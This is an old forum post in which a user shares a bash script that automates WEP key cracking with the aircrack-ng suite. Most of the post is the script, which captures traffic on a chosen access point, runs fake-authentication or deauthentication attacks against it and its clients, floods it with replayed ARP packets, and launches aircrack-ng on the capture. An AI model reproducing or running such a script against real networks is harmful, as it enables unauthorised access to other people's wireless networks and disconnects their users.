PDA

View Full Version : My WepAutoCrack script..


LaVey666uk
03-16-2007, 12:06 AM
I know airoscript is there... but i wanted to create an automated wep crack script and practice my shell scripting as still noob to this!

anyway version 0.1 (not 100% fully working!) but posted for comments :)



#!/bin/bash

#######################################
#
# Auto launcher for Wep cracking
# By ..:: LaVey ::..
#
# depends on aircrack-ng, airmon-ng
# aireplay-ng and associated fixed
# drivers for packet injection
#
#######################################

clear

#functions
function usage
{
echo ""
echo "..:: LaVey's Auto Wep Crack Easy Launch Thingy ::.."
echo ""
echo "Usage $0 <options>"
echo ""
echo "Options:"
echo "-o :output file (saves airodump data .cap)"
echo "-c :target ap channel"
echo "-i :interface"
echo "-m :authentication mode, 1 for fake auth (no clients on ap), 2 for deauth, must also supply -d with this option"
echo "-e :essid (ap broadcast name)"
echo "-M :ap mac address"
echo "-d :deauth, client mac to deauth (mode 2 only)"
echo ""
echo ""
echo "TIP: AP recon first with kismet (macs/chan/etc) :)"
echo ""
exit 1
}

function checkArgs
{
if [ -z $OUTFILE ] || [ -z $CHAN ] || [ -z $INTERFACE ] || [ -z $MODE ] || [ -z $ESSID ] || [ -z $APMAC ]
then
echo " missing arguments! exiting..."
exit 1
fi
if [ $MODE = 2 ]
then
if [ -z $DEAUTH ]
then echo " mode=2, you must supply a client mac!"
exit 1
fi
fi
}

function dropToMonitor
{
if [ $(airmon-ng start $INTERFACE 2>&1 | grep -i error | uniq | wc -l) -eq 1 ]
then
echo " airmon-ng exited with error status, check with airmon-ng"
echo " Monitor mode failed! Exiting"
exit 1
fi
}

#entry point
if [ $(whoami) != "root" ]
then
echo " Sorry dude.. need to be root to run this one!"
exit 1
fi

case $# in
0)
usage
;;
*)
while getopts o:c:i:m:e:M:d: OPTION
do
case "$OPTION" in
"o") OUTFILE="$OPTARG"
;;
"c") CHAN="$OPTARG"
;;
"i") INTERFACE="$OPTARG"
;;
"m") MODE="$OPTARG"
;;
"e") ESSID="$OPTARG"
;;
"M") APMAC="$OPTARG"
;;
"d") DEAUTH="$OPTARG"
;;
?) usage
;;
esac
done
echo " Checking args..."
checkArgs
#echo " Dropping to monitor mode..."
#dropToMonitor #disabled as needs to pass actual interface to create virtual monitor interface (vap?)
echo " Starting airodump..."
xterm -e "airodump-ng -w $OUTFILE -c $CHAN $INTERFACE;bash" &
if [ $MODE = 1 ]
then
xterm -e "aireplay-ng -1 0 -e $ESSID -a $APMAC -h 00:11:22:33:44:55 $INTERFACE;bash" &
xterm -e "aireplay-ng -3 -x 1024 -b $APMAC -h 00:11:22:33:44:55 $INTERFACE;bash" &
else
xterm -e "aireplay-ng -0 10 -a $APMAC -c $DEAUTH $INTERFACE;bash" &
xterm -e "aireplay-ng -3 -x 1024 -b $APMAC -h $DEAUTH $INTERFACE;bash" &
fi
xterm -e "aircrack-ng -f 4 -m $APMAC $OUTFILE.cap" &


esac